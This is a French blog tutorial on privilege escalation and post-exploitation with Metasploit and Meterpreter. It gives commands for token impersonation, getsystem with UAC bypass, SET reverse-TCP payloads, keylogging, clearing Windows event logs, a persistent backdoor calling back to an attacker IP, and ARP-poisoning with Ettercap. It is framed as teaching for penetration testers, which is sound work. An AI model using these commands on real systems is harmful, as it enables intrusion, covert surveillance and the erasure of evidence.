22/12/2024

L’élévation de privilèges

Lorsque l’on a récupéré un accès à un ordinateur que l’on souhaite attaquer, il est important d’autoriser une élévation de privilèges, autant que faire se peut. En général on récupère des privilèges depuis un compte n’en n’ayant peu voire pas du tout.

Toutefois, il est possible que le compte d’accès soit celui de l’administrateur. Nous allons donc voir maintenant les différentes recettes pour s’octroyer plus de privilèges, parmi lesquelles on détaillera les stratégies suivantes :

  • l’utilisation de jeton d’imitation
  • l’attaque par escalade de privilège local
  • la maîtrise de l’outil Social Engineering Toolkit (abrégé en SET)
  • la création d’une porte dérobée persistante
  • l’attaque type Man-in-the-middle (abrégé en MITM)

A. Utilisation de jeton d’imitation

Pour cela, comme son libellé l’indique, il suffit d’imiter un autre utilisateur du réseau en utilisant un jeton d’imitation (aussi appelé impersonation token). Ce type de jeton contient des informations de sécurité pour une session de connexion et identifie l’utilisateur, son groupe et ses privilèges. Ainsi, lorsqu'un utilisateur se connecte au système Windows, il fournit un jeton d’accès en guise de son authentification de session.

Le jeton d’imitation nous permet d’escalader nos privilèges par imitation d’un utilisateur modèle. Un compte système, par exemple, peut nécessiter de s’exécuter en tant qu’administrateur du domaine pour pouvoir réaliser une tâche spécifique et libérer alors ses privilèges à la fin. Nous allons utiliser cette faiblesse pour élever nos droits d’accès.

Pour pouvoir éprouver ce type de manipulation, il est bien évident que nous devons bénéficier à la fois d’une connexion Internet et/ou Intranet ainsi que la désignation d’une machine  cible sur laquelle on va devoir se connecter. On commence l’exploration du jeton d’imitation depuis un shell Meterpreter.

REMARQUE : on rappelle qu’il faut utiliser Metasploit pour attaquer une cible afin de concevoir un script Meterpreter:

A ce stade, on peut alors utiliser incognito pour ensuite exécuter l’une des nombreuses options proposées par le logiciel (que l’on peut obtenir en exécutant l’instruction help) :

On peut alors lister les utilisateurs connectés sur le système ou ayant eu un accès récent à la machine ciblée. Pour cela, il suffit d’exécuter la commande suivante :

meterperter> list_tokens -u

Le résultat type que l’on doit voir apparaître correspond à la liste des sessions actives sur l’hôte ciblée (pour un poste de travail, on ne devrait donc avoir qu’une seule ligne de résultat, comme le montre l’exemple ci-dessous):

Delegation Tokens Available

=============================================

PC-Phil\phil

Ensuite, il faut exécuter l’attaque d’imitation. La syntaxe à utiliser s’exprime au format impersonate_token <UserSession> :

meterpreter> impersonate_token \\PC-Phil\phil

Au final, on peut exécuter une commande shell. Si cela fonctionne, c’est que l’on est désormais connecté au système en tant qu’utilisateur ayant servi de modèle, dans notre cas : phil. Ainsi, via ce genre de manœuvre d’imitation, il suffit de choisir un utilisateur type ayant les privilèges les plus élevés possibles et déjà connecté au domaine, afin de pouvoir aller plus loin et compromettre d’autres serveurs du réseau local.

B. Escalade de privilège local

La suite logique de l’attaque par jeton d’imitation consiste à obtenir des privilèges d’administrateur sur la machine compromise. Ce genre d’attaque permet de s’octroyer des accès à un compte utilisateur du système ou du domaine en utilisant le système local auquel on est attaché. Lorsque l’on a réussi à obtenir l’accès à la machine ciblée, en utilisant Metasploit grâce au payload de l’outil, il faut alors exécuter la commande suivante :

meterperter> getsystem -h

Ensuite, pour obtenir l’élévation de privilège système, on peut alors exécuter la même commande sans l’option -h.

REMARQUE: dans le cas particulier d’une tentative d’accès à un système Windows 7, on doit au préalable exécuter la commande bypassuac en premier, avant l’exécution de la commande getsystem:

msf> run post/windows/escalate/bypassuac
meterpreter> getsystem

Dans tous les cas de figure, on récupère ainsi l’accréditation du compte système, en ayant pris le compte d’administration local comme modèle. Cela permet d’élever ainsi les privilèges d’accès à une machine distante, sur laquelle nous effectuons une tentative d’intrusion ciblée.

C. Social Engineering Toolkit (SET)

Cette suite SET est un ensemble incluant des outils  permettant d’attaquer une victime en utilisant la tromperie. Ce genre de suite est vite devenu un standard de l’arsenal des testeurs d’intrusions. On commence par ouvrir une fenêtre de terminal afin d’exécuter la commande suivante :

> se-toolkit

Cette suite affiche alors un menu de plusieurs options :

REMARQUE : avant d’exécuter une attaque via SET, c’est une bonne idée que de mettre à jour la version de l’outil depuis le site de l’auteur www.trustedsec.com.

Après avoir sélectionné l’option 1 ci-dessus, on peut alors sélectionner l’option 4. "Create a Payload and Listener". Ensuite, on doit fournir l’adresse IP pour la charge de connexion inverse :

On récupère ainsi une liste de payloads à générer pour l’option sélectionnée ainsi que leur description. On va alors sélectionner l’option Windows Reverse_TCP Meterpreter (option 2) :

Il faut alors préciser le port d’écoute. En règle générale, on choisit systématiquement le port TCP/443. Au final, lorsque la charge utile s’est exécutée correctement, l’assistant de SET nous propose de démarrer le listener :

Metasploit va alors ouvrir un agent d’exécution appelé handler. Ainsi, au travers de menus, on peut laisser SET effectuer pour nous les tentatives d’intrusions et activer les exploits précédemment listés, afin de tromper la machine ciblée. Le résultat sera alors un script exécutable qui nous fournira une session Meterpreter active de connexion à la machine attaquée.

En complément de la collecte d’informations en vue d’une tentative d’intrusion, que l’on a vu dans le chapitre précédent, on peut également récupérer de l’information d’une cible potentielle au travers d’un shell Meterpreter. Pour cela, on utilise Metasploit, comme on vient de le voir, pour attaquer un hôte et gagner un shell Meterpreter.

Puis, après avoir récupéré l’accès à notre hôte cible, en utilisant un des exploits Metasploit, grâce à une charge utile Meterpreter, il suffit alors d’attendre que l’outil nous propose son prompt pour pouvoir commencer à ouvrir une session de keylogger :

meterperter> keyscan_start

Ainsi, on peut récupérer l’ensemble des commandes saisies au clavier par l’utilisateur distant, en exécutant la commande keyscan_dump. Il est évident qu’un autre moyen de connaître les saisies d’un utilisateur sur une machine distante, est d’utiliser l’outil Wireshark. En faisant cela, me direz-vous, nous laissons des traces. Et  bien, en fait Metasploit et Meterpreter disposent de moyens permettant d’aller automatiquement supprimer celles-ci de la façon suivante:

Il ne reste plus à mentionner à IRB quels journaux de traces nous souhaitons effacer parmi les choix suivants :

  • log = client.sys.eventlog.open('system')
  • log = client.sys.eventlog.open('security')
  • log = client.sys.eventlog.open('application')
  • log = client.sys.eventlog.open('directory service')
  • log = client.sys.eventlog.open('dns server')
  • log = client.sys.eventlog.open('file replicationservice')

En dernier recours, il ne reste plus alors qu’à faire exécuter l’ordre de suppression de ces traces, grâce à l’instruction ci-dessous, étant entendu qu’il n’est nullement obligatoire d’effacer l’ensemble des traces. Il faut sélectionner intelligemment celles à effacer parmi le choix proposé :

>> Log.clear

D. Création d’une porte dérobée persistante

Puisque l’on a réussi à ouvrir une session à distance sur la machine hôte ciblée, il est alors facile d’y déposer une porte dérobée (backdoor) persistante en utilisant encore une fois Metasploit et Meterpreter. On doit exécuter la commande suivante :

meterpreter> run persistence -h

REMARQUE: la commande de persistance possède de nombreuses options. Il est donc fortement conseillé de regarder l’aide en ligne de celle-ci afin de s’y retrouver.

Afin de pouvoir déposer une porte dérobée persistante sur la machine ainsi piratée, il suffit d’exécuter une commande du type :

meterpreter> run persistence -U -A -i 10 – 8090 -r 192.168.5.5

L’option -U permet de démarrer la porte dérobée dès le redémarrage du systeme après reboot.

L’option -A démarre plusieurs handler automatiques pour se connecter à l’agent.

L’option -i représente le délai (en secondes) entre deux tentatives d’attaque.

L’option -r permet de préciser l’adresse IP de la machine attaquante.

E. Attaque Man-in-the-middle (MITM)

On ne présente plus l’attaque dite de l’homme du milieu (ou plus communément appelée man-in-the-middle abrégée en MITM). Pour pouvoir provoquer ce genre d’attaque sur une cible dont on a eu l’accès grâce à Metasploit et aux charges utiles de Meterpreter, il suffit d’ouvrir l’utilitaire Ettercap :

On peut alors ouvrir le menu "Sniff", comme décrit ci-dessous et on peut choisir l’option d’interface réseau adéquate (selon les configurations). Dans l’exemple, on sélectionne ‘Unified sniffing’ :

L’assistant propose alors de préciser sur quelle interface on souhaite réaliser l’attaque en question :

Ensuite, dans le nouveau menu qui nous est proposé, on choisit le menu "Hosts" dans lequel on sélectionne l’option ‘Scan for Hosts’ :

Après quoi, en sélectionnant l’option ‘Host List’ on peut ainsi récupérer la liste des machines potentielles sur lesquelles on peut effectuer ce type d’attaque de l’homme du milieu :

Il ne reste plus qu’à sélectionner la cible sur laquelle réaliser l’attaque MITM en cliquant sur le bouton ‘Add to Target 1’ comme décrit ci-dessous :

On peut déclencher la capture de session Ettercap, en cliquant sur le bouton ‘Start’. Ensuite, il faut ouvrir le menu "Mitm" afin de sélectionner l’option ‘Arp poisonning’ :

On doit ensuite sélectionner le paramètre optionnel ‘Sniff remote connections’ en cochant la case ci-dessous :

En fonction du trafic réseau, on commence alors à voir des informations défiler dans la fenêtre de traces d’Ettercap :

Il faut alors penser à arrêter la session d’empoisonnement ARP, en sélectionnant l’option ‘Stop sniffing’. Dès lors on devrait voir apparaître la fenêtre ci-dessous :

author avatar
Philippe PIERRE
A exercé de nombreuses années en tant qu'administrateur de base de données et comme administrateur Système Unix/Linux. Il a enseigné les réseaux au CNAM (Paris). Aujourd'hui, employé en tant qu'ingénieur infrastructure, au sein d'un laboratoire pharmaceutique et administrant un cluster de calculs HPC, il connaît parfaitement les environnements GNU/Linux dans le cadre d'une entreprise et des systèmes de haute disponibilité. Il aime partager son expérience.
Partagez cet article Partager sur Twitter Partager sur Facebook Partager sur Linkedin Envoyer par mail